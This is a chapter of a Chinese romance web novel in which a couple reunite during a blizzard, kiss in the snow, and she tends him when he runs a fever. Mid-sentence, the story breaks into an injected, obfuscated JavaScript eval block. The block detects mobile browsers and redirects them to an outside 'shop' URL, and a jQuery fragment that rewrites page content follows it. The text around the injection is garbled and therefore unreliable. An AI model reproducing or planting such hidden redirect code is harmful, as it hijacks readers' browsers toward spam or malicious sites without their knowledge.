一日不见,如隔三秋,临近假日,此情更甚。
沈有辰每天按时发送问候,“今天论文进展怎样?什么时候回来?”
又问:“做饭没什么好想法,你有什么想吃的吗?”
而林星丝毫不动摇:“我直接吃速食就好。”
“你不要给我发消息,就这两天,我不想思路被打断。”
“我很容易被你影响!”
好吧。
沈有辰思考半天,决定缓兵不动,手机息屏,漆黑的屏幕上清晰照出他压不下的嘴角。
无所事事。
他起身,把衣柜里刚买的衣服拿出来,又在镜子前试了试。
而这一场酣畅淋漓的购物还要从早上说起,他早上六点便因为不知缘由的激动自然醒,睡不着之后索性开始收拾行李,这才发现之前的衣服只考虑了保暖,整个衣柜里连一件能穿出去当开屏孔雀的“战服”都没有,为此,他直接坐火车去了斯德哥尔摩,花重金给自己从上到下,从里到外换了身行头。
他甚至还订做了一套衣服,虽然要等至少三个月,但只要想象出她看到自己穿上身之后的反应,一切都很值得。
当然,去斯京买衣服并不在和林星分享的有趣小事之列——惊喜,才是最重要的。
“虽然比不上订做的,但现在这身看上去也不错……”沈有辰恍若无人地“臭美”,穿着新买来的大衣,左转半圈,右转半圈,只可惜他现在身材不如以往,不能选最修身的版型。
为了买这些衣服,他可是历经艰险,早上出门的时候还只是小雪,从斯京回来的路上便持续收到暴雪预警,打了个车从火车站回来结果半路车轮打滑差点追尾。
想到这里,他动作一滞,走到窗前,拨开百叶窗,外面的雪势丝毫不见小,甚至有愈演愈烈之势,他又打开手机,点开乘公交的软件——果然,公交公司发布了在下午五点之后停止营运的通知,因为短时间内的暴雪导致路面积雪过深。
“这个天气也不好打车……她要怎么回来?”
沈有辰下意识转身,走到房间门口,但很快想明白,面对这种情况,自己无能为力,帮不上任何忙。
“终于写完了!我要回来了:)”
这是林星五分钟之前发给沈有辰的消息,那时他正在镜子前开屏,正好错过,而之后自己发去的消息,打过去的电话就都无人接听了。
他一下子便想到很多紧急的情况,愈想,心跳愈快,但另一方面,他又觉得不至于,从教学楼到宿舍区,挑最近的小路走大概五公里,至多花一个半小时,而且回程经过的区域大多是平坦的草原,就算遇到最坏的情况,找人的难度也在可控范围之内。
打开好友圈运动界面,林星的步数在很正常的增加,看来确实是正在走回来的路上。
只是下午从斯京回来的时候,沈有辰记得,气温还是零下十二,现在已经零下十六度了。
他打开窗户,伸出手臂,雪花和冷风落在皮肤上一触即融,紧接着又有新的雪花落下,很快,手臂就冷得没知觉了。
“怎么给我发了这么多条消息。”
“我在走路,带着手套,不方便回消息。”
“不用太担心,我觉得下雪的时候反而没那么冷,现在路上都是新鲜的干燥的雪,走上去也不打滑。”
“而且我很喜欢在雪地里走路,我觉得很有意境。”
大概过了半小时,林星发来了几条语音消息,她的声音有些沙哑,伴着不停息的寒风声,听的更见不真切。
沈有辰问她:“你还有走多久?”
“我已经能看到宿舍楼了,我估计最多十分钟,就到了。”
“好。”几乎是一收到消息,他就套了最厚的羽绒服出门。
出了电梯,没看到林星。
走出宿舍,在楼前的小路上,也没看到林星的身影。
走过小路,走上被雪覆盖的主干道,再走到宿舍区的边缘,一座小山坡的坡顶,他终于看到了林星。
她的身影小但清晰,而她身后的一切都看不清晰,唯有漫天白雪一望无际。
她走的并不慢,以肉眼可见的速度接近宿舍区,沈有辰就站在坡顶,一动不动地站在那。
林星一直望着这边,在看到前方突然出现了一个人的时候,还迟疑了一会儿,但很快她便认出了站在哪里的人,加快了速度,挥了挥手。
但沈有辰依旧一动不动,没有任何的反应,林星以为他是没认出自己,双手做喇叭状,说,“我——回——来——了!”
但她的声音并不并大,沈有辰完全听不到,只看到她说的口型,觉得她大概是在说,“我——写——完——了!”
他又看到她解开了自己的围巾,用力抖落掉在上面的雪花,正好一阵风吹过,她黑色的长发在寒风中被吹的纷乱,也很难再被围巾完全裹住,于是她索性把围巾当成披风,系在身上,看起来就是凯旋而归的战士。
她在雪地上留下一长串看不到尽头的脚印,你不知道她到底是从何而来,到底是走到了这里,但她终究是,像个英勇的战士一样,走到了这里。
沈有辰想起自己第一次见到林星的样子,生动的发着光,她穿着校服的样子确实很像一个学生,但他很清楚,第一眼就清楚,她和自己不一样,在学生的时候,也和自己不一样。
他曾听她漫不经心地说起过去的煎熬经历,说自己那时一点也不出众,说起各种遗憾和不值得的事情,他并不明白,明明是一个坚持不懈的奋斗故事,怎么在她这个当事人的眼中,竟有这么多的缺憾和不足。
他曾看到她宁静地坐在图书馆里,融进夏日的午后,影子是她的裙摆,微风为她伴奏,她沉静的眼睛像永不干涸的泥土,他永远猜不透那里还能长出些什么。
她终于离自己足够近了,近的没有理由听不清对方的声音。
“你终于回来——”
沈有辰刚向前跨出一步,没曾想脚下的便有微小的弧度,直接打滑,失去平衡,和雪地来了个亲密接触,直接沿着坡加速滑到了林星身前,整个人几乎是躺在雪里。
林星也是一惊,但依旧缓慢地一步一个脚印,扎扎实实踩到了他面前,“你还好吧?”
“很刺激的感觉……”雪直接直接顺着裤子和靴子之间的间隙灌进裤腿,后颈和耳朵也沾了雪,寒冷因此变成一种直接又刺激的痛感,而与此同时,在躯体中央的那颗心,又是如此的火热。
“快点起来。”林星半蹲下身,拉着沈有辰的手,打算把他拽起来,结果被反握住。
沈有辰使了道出其不意的力气,把人往自己身上拽。
“你!”林星毫无准备,整个人重重摔在沈有辰怀里,而这倒是让后者没想到,被砸出一声闷哼。
“你闹什么!”林星佯怒,轻轻地在他肩上拍了一下,“雪都到你衣服里去了!”
沈有辰只是笑,像是纯净的,落下的雪,他在林星用手肘缓慢支起身子的时候,揽住对方的脖颈,开始一个浓烈的吻。
林星的长发纷纷扬扬的,全落在他身上,脸上,又落进雪地里,全都分不清。
漫天的雪花最终落在已经白茫茫的地上,添上了一层又一层星星点点的光。
那是个缠绵的吻,融化了所有沙哑的声音。
“好了。”林星的声音软软的,“我们赶紧进去,别在外面待着了。”
“我们再跳一支舞再进去好吗?”
“跳舞?”林星用一种“你到底在想些什么”的眼神看着他。
“我老是刷到那样的短视频,两人在飘雪的夜里跳舞,配一首很好听的bgm。”
林星的视线却突然落在他脖子上,因为刚刚过大的动作而散开的衣领,发现了新的重点,“你这里面穿的是什么?”
她伸手一扯:“睡衣!你竟然穿着睡衣就出来了?现在可是零下十几度!”
说完,她从自己的兜里掏出一个暖宝宝,塞进他的口袋里。
“我这不是还穿着羽绒服了,而且我一开始以为只会在外面待一小会儿。”
“一小会儿也不行啊!你这样穿,上下贯通漏风,你还站在外面等了我这么久!刚刚还躺在雪地里,你偶像剧看多了吧?”
沈有辰理直气壮:“刚刚就是突然很想吻你,现在也突然很想和你跳一支舞。”
“这里最不缺的雪,不急这一会儿,赶紧进屋。”
“那好吧,你别这样扯着我了。”说完,沈有辰转了身,做俯卧撑状,有些狼狈地站了起来。
“慢点走,确保你这一脚踩实了,再踩下一脚。”
两人互相搀扶,一步一步,艰难地龟速爬上小山坡,走小心翼翼地防备着再次溜下去,二百米的路走了五分钟。
进入室内,两人瞬间活了过来,在宿舍楼大门前的地垫上,林星十分熟练地把鞋上的防滑链脱下,狡黠地笑:“你知道吗?除了这个,其实我脚下还踩了两个暖宝宝。”
“装备这么齐全,”沈有辰挑眉,“看来我担心是多余的。”
“本来就是多余的,去年天气更冷,还下了二十一遇的大雪呢,公交车也停运了。”
“那怎么办?”
“还是今天这么办,直接走回来,甚至去年我根本就不知道公交会停运,出了门走了一段路才发现,而那个时候,我的手机已经没电关机了。”
“那也太危险了吧?这么冷的天,你手机关机了都没办法求助。”
“那甚至是我第一次从学校走回宿舍,当时,我确实又害怕又着急……”
“然后呢?”
“然后,可能是在危机状态下激发了潜能,反而非常有力气,不到一个小时就走回来了,”林星云淡风轻地笑了,“然后我就发现,也没什么大不了的,而且在雪地里走路,非常的安静,是全世界只有你一个人的那种安静,非常不一样的体验。”
沈有辰看着她,心想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291841|190056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她又开始云淡风轻地说起那些很艰难的故事了。
但林星不知道他在想什么,只是看到他一直目不转睛,一言不发,“你这是刚刚被冻懵了?”
“大概有一点,我现在觉得我的睡衣可能湿的还挺严重。”
“那你赶紧回去换衣服。”
两人一起走进电梯,到了三楼,也没人出去。
林星以为即将昨日重现,但在电梯门即将闭合上行的时候,沈有辰一下按在开门键上。
林星有些迟疑:“你……”
他保持这个姿势不动,有些玩味地看着她,看着她犹豫不决。
最终他当然还是走了出去,转过身,倒着走了出去。
他赶在电梯门关上前对她说:“明天见,记得收拾行李。”
“当然,你赶紧把里面打湿的衣服换了。”
“嗯,我才不想生病呢。”
电梯上行,沈有辰原本真切地声音一下子就消失了,几秒的时间,林星的心里突然就空落落的。
在走回房间的路上,她就把“在雪地里跳舞”写进了备忘录里。
回到了房间,林星便开始收拾行李,
她的衣服不算少,毕竟也是曾经的娱乐圈人士,留下不少资产,但到底要带哪些衣服去倒是个难题。
“这次不是之前那种说走就走的冲动旅行了,我必须得打扮的漂亮点。”
林星想着想着笑出声。
她还是第一次这么想,之前,大概是因为有造型师,可在他们第一次恋爱还没分手的时候,自己好像也没有多认真地打扮过。
好像自己现在才真正想要去谈一场恋爱,谈一场真正的恋爱。
收拾行李到一半,林星给沈有辰发去关心的消息:“你现在感觉怎么样?会想咳嗽吗?难受吗?”
“其实,我感觉好像有些不对劲……可能是真的要感冒了。”
“那你有药吗?你现在还是喝点热的比较好。”
“我连烧水壶都没有。”
“你完全不喝热水的?”
“我现在去你那里好吗?”
“……”她看着手机,呆了两秒,总觉得对方似乎目标性太明显。
但她决定照单全收,“好,你现在就来吧。”
说完,她去厨房,从柜子里翻出一盒红糖和一瓶姜粉,然后就在客厅里坐着等着沈有辰到五楼来。
“我到你们走廊门口了。”连一分钟都没有,沈有辰就发来了消息。
林星直接打开门,对方看到她,意外又惊喜。
“快进来吧,诶——”林星惊讶,“你为什么拿着枕头就来了。”
“不可以吗?”
“我……”林星花了几秒组织语言,“这么小的房间哪里睡得下两个人。”
“我走廊里有一个印度室友,把自己丈夫和孩子都接过来了,她们三个人住一间也住得下。”
“那是不允许的,别的室友没意见?”
“我没意见,”沈有辰一语双关,“我觉得那样很温馨。”
林星没说话,避开了这个话题,转身带他走进自己的房间。
热水已经烧好,她把红糖和姜粉倒进碗里,用勺子搅了搅,递给沈有辰。
他端着这碗辛甜与辛辣气味皆有的深色液体,疑惑:“这是?”
“红糖姜汤,你受凉了,喝点这个会比较好。”
沈有辰端着碗环视一圈,观察环境,屋内只有一个人体工程学椅,一个放在角落的小沙发——他选择直接坐在地毯上,就在人体工程学椅子边上,那样离林星最近。
林星见状,把两个取暖小电扇摆到他身边。
“你竟然有两个?”
“上一年的室友搬走,我捡漏的。”她给自己泡了一碗没有姜粉的红糖水,没有坐在椅子上,而是席地坐在沈有辰身边。
“你知道吗?我一开始根本就知道这个小电扇可以供暖,我是刚来到这里的时候买的,我想的是,这里没空调,万一天气热只有还有电风扇可以用,结果根本没用上。”
“这里确实一年到头都没有热到能用电风扇的时候,算是唯一的优点了。”
“嗯,希望我明年能在这里度过一个完整的夏天,咳……”在感受到咳嗽的来袭之后,他立刻努力地克服身体的本能,把自己的嘴巴合上,用身体抑制咳嗽的颤抖,“额,我这都是被着姜汤呛的。”
林星坐起身:“你是不是没量过体温。”
“我头又不痛,应该只是轻微感冒。”
林星从床头柜里拿出一把额温枪,直接把体温计怼到他脑门上,过了几秒,惊呼出声,“38度3了!”
沈有辰原本在地毯上缩成愈发小的一团,听到她的惊呼,重新从身体各处汲取了“精气”,中气十足地说:“不用这么大惊小怪,真没那么严重,我其实还好。”
林星严肃道:“那半个小时之后再测一次,反正你都带着枕头带了。”